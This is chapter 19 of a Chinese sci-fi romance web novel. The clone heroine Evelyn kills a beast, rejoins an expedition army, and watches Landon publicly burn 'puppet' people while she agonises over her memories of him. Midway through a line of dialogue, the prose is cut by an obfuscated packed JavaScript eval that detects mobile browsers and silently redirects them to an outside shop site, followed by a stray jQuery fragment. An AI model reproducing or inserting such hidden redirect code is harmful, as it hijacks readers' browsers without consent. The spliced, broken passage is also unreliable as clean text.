19. 第 19 章
    伊芙琳再次醒来,是在远离勒斯特帝国数百光年的一个荒芜星,她从飞船的船舱往外看,远处的人和野兽正在厮杀,一只巨兽的兽鼻甩过来,几乎把她身处的飞船颠翻。

    这场景她再熟悉不过,远征军的日常,到未曾开发的星球去寻找资源,当然会遇上不知名的巨兽,远征军用人类最精密的化学武器杀死它们,夺去它们守护的宝藏。

    突然一阵天摇地动,整艘飞船被掀翻,在山坡上滚了几圈,直到撞上一块巨石才停下。

    伊芙琳揉了揉晕乎乎的脑袋,用脚尖勾开门把手,一脚踹开了舱门。

    迎面碰上一只足有两层楼高的巨兽,兽鼻在她头顶上甩来甩去。

    附近就是荒野,看来主战场并不是这儿,是这头巨兽发现了这里还有一艘落单的飞船,飞船里还有人,专门跑过来挑衅。

    伊芙琳揉了揉脖子,仰头看着巨兽因为发现人类,而兴奋地双瞳闪光,鼻间喘着粗气。

    在兽鼻朝她甩来时,她抓住粗粝的兽皮爬上去,顷刻就爬到了野兽头上,徒手把它眼睛挖了出来。野兽痛苦得仰天长啸,“轰然”摔倒,四处打滚,张着獠牙誓要把她咬死。

    伊芙琳身上穿的是实验室的白裙,很快就脏得看不出来原来的纹样,她用信息素让野兽窒息,最后借了巧力,让野兽的头撞向一块锋利的巨石。

    战斗终于停下,伊芙琳刚喘了口气,大部队就赶了过来。

    远征军的众人都有点不敢相信眼前所见,他们数十人用了非常多的化学武器,几乎烧毁了整个山头,才堪堪杀死五头巨兽。

    没想到,伊芙琳竟然空手杀死了一头巨兽,这不仅仅是武力高低的问题,是包括应变能力、稳定程度在内的综合能力,足够让在场所有人五体投地。

    有人切下野兽的指骨,作为功勋的象征,有人打扫现场,远征军主帅霍索恩来到伊芙琳面前,满意地打量她几眼:“我早说过,你会是下一个时代最优秀的将士。”

    伊芙琳和他一起往营帐走。

    霍索恩是个不苟言笑的alpha军人,对待下属十分严厉,伊芙琳十岁被扔到远征军,曾在他的手下吃过不少苦头,但她生性倔强,旁人说她不好,她便咬着牙也要跟上训练,偏要叫看不起她的人改观。

    当时,她很想要成为让奥斯伯格骄傲的女儿,所以,在远征军每次出任务,她从来都是杀敌最多,军功最多的。

    伊芙琳刚进入营帐,就被迎面扔来一块毛巾:“擦擦,你的脸,真像只泥猴子。”

    从霍索恩和下属的对话中,伊芙琳总算知道现在的情况,原来,因为勒斯特帝国的政局变动,奥斯伯格被变相软禁,原本直接听令于奥斯伯格的远征军,也无法联系上他。

    主帅霍索恩深感大事不妙,直接号令远征军集结,让前往各个小荒芜星的各支小队,都来到这个星球,再商议下一步动作。卡兹和伊芙琳身为远征军的一份子,自然也能收到加密信息。

    “奥斯伯格大人在十五年前创立远征军,就是预防着这一天的发生。”

    外面在支起篝火,正在开庆功宴,吵吵嚷嚷。一墙之隔,房间里几位主帅围坐商议下一步行动。

    “远征军原本由直隶军分出去,说是寻找资源,其实还不是防着兰登,毕竟当年老执政官可是属意才八岁的兰登,更甚于大儿子奥斯伯格。”

    伊芙琳眉心狠狠一跳,听他们继续说:“没想到变故来得这样快,兰登竟然真敢夺权,是完全不顾念骨肉亲情了吗。”

    “他没有。”伊芙琳下意识说。

    所有人看向她,他们突然觉得自己失言,毕竟这位刚回到远征军的将士,是和他们所谈论的人物有着深刻联系的人,奥斯伯格唯一的女儿。

    被众人关注的伊芙琳咬了咬唇,自己也不明白为什么要说这句话。

    除了她以外,唯一一名年轻女alpha附和:“我也相信,兰登博士这么做,一定是有原因的。”

    这名女alpha似乎忍耐了许久,好不容易找到机会,迫不及待发声,脸色涨的通红。

    她胸前的铭牌上写着:“佩姬上校”。

    其他将军们没忍住和她争论起来。

    还好这时一个勤务兵过来说晚饭做好了,请各位将军出去用饭,否则佩姬就要和其他人打起来了。

    庆功宴上,卡兹终于出现,他身为医疗兵,一整天都待在后勤救治伤员,好不容易得到休息的时间。他在伊芙琳身边坐下,拍了拍她的脑袋:“头还痛吗?”

    伊芙琳转头盯着他:“你怎么把我带到这里?”

    “我可什么都没做,只是正苦恼要带你去哪里,就收到了霍索恩将军的召集令,然后就想到,远征军直接听令于奥斯伯格。”卡兹用只有他们两个人能听到的声音说,“外界只知道,兰登发起夺权,至于其中的细节,比如你是克隆人,还有赫利家族虐杀平民,他们什么都不知道。”

    更重要的是,这里是一个绝对的,兰登势力范围之外的地方。

    伊芙琳点头,看见不远处那位“佩姬上校”又和士兵们吵起来,大概还是关于兰登。

    户外投影上播放着最近帝国的近况,用一团乱麻来形容也不为过。叛军四处作乱,忠心于奥斯伯格的大臣也频频自立门户,明言反对新的内阁。

    在这种情况下,兰登竟然发动了一场屠杀。

    是以莫须有的罪名,把一些官员的家属抓住,直播显示,这些手无寸铁的人被捆绑在荣誉广场中央,正在痛哭挣扎。

    他们身后,是赫利家族历代执政官的雕像,柔白的大理石,在乌云掩映的天空之下,折射细腻的冷光。

    画面定格在城楼上的兰登的脸上,他的皮肤毫无血色,和那几樽雕像没有区别。

    “他是不是疯了!为什么要杀害平民!”

    “听说这些这些是极端忠心于奥斯伯格的大臣们的家属,兰

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234817|151410||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    登可真是丧心病狂。”

    远征军众人不住唾骂。

    屏幕里,兰登抬起眼睛,望向画面中央,整个帝国的非议,似乎都已经进入了他的耳中。

    但他不在意。

    “点火。”淡色的上下唇开合,随后画面一转,整个广场燃起火光。

    屏幕之外,众人面露不忍,仿佛能听到痛哭声,闻到皮肉烧焦的味道,看着那些人痛苦的脸,纷纷转开目光。

    只有伊芙琳盯着移动的画面,觉得似乎有些不对劲。

    那些遭受火烧的人不是濒死的害怕,反而,他们青黑的脸上呈现出一种饥饿的神情,已经饿到失去神智,甚至直接啃食对方的皮肉。

    火势太凶猛,很快就把他们的脸全部淹没。

    伊芙琳抓住身边的卡兹:“这些人是傀儡吗?”

    “是。”

    伊芙琳双手抱着头颅,痛苦得想大叫出声。

    傀儡术,就是奥斯伯格在国王区工厂屠杀平民的原因。但是兰登为什么要这么做,难道,他真的对此毫不知情,并且也对傀儡术深恶痛绝?

    为了保住赫利家族的荣誉,他不能把傀儡术的秘密公之于众,所以他宁愿遭受整个帝国的唾骂,也要用这种方式,杀死所有傀儡。

    伊芙琳又想起最后分别是,兰登的那个眼神,悲伤得像看不到底的寒潭。

    ……

    惨白的月亮,这个荒芜星比首都星离月亮要近许多,仿佛伸手就能触摸到月球表面。

    卡兹向伊芙琳提议,到野外去吹吹风。

    伊芙琳心事重重,美丽而开朗的少女,在短短几个月时间内,眉眼多了凝重,瞳孔沉淀一片静谧的深黑。

    遭遇变故,然后迅速地成长。卡兹不得不承认,如今的伊芙琳有着让他心旌动摇的魅力,越来越像,叛军女神忒弥斯。

    “最近想到兰登的频率,有减少一点吗?”卡兹把目光从伊芙琳脸上,移向波光粼粼的湖面。

    伊芙琳摇头。

    卡兹剔除了兰登对她设下的所有控制程序,其中包括“合理记忆”程序,也就是说,为了让她更像正常人,随着时间的流逝,不重要的记忆会渐渐变淡、遗忘,实际上,那些记忆以编码的方式储存在晶体的某个角落,控制程序失效后,那些记忆争先恐后地涌出来。

    然后伊芙琳发现自己竟然可以记起从小到大每每一秒钟发生的事情,那些记忆碎片就在脑海中乱窜,让她的头每天都很痛。

    卡兹对她保证,他没有对她的记忆做任何篡改。

    伊芙琳相信他没做什么,因为她发现,开启了所有记忆之后,她无比想念兰登。

    无论是在她的撒娇下,轻声说故事哄她睡觉的兰登,还是在她受伤时冷脸嘲讽,却抱着她给她擦药的兰登……她内疚的发现,就算他罪恶累累,他也完全没有对不起她的地方。

    她害怕兰登,她恨兰登,但她还是很想,很想兰登。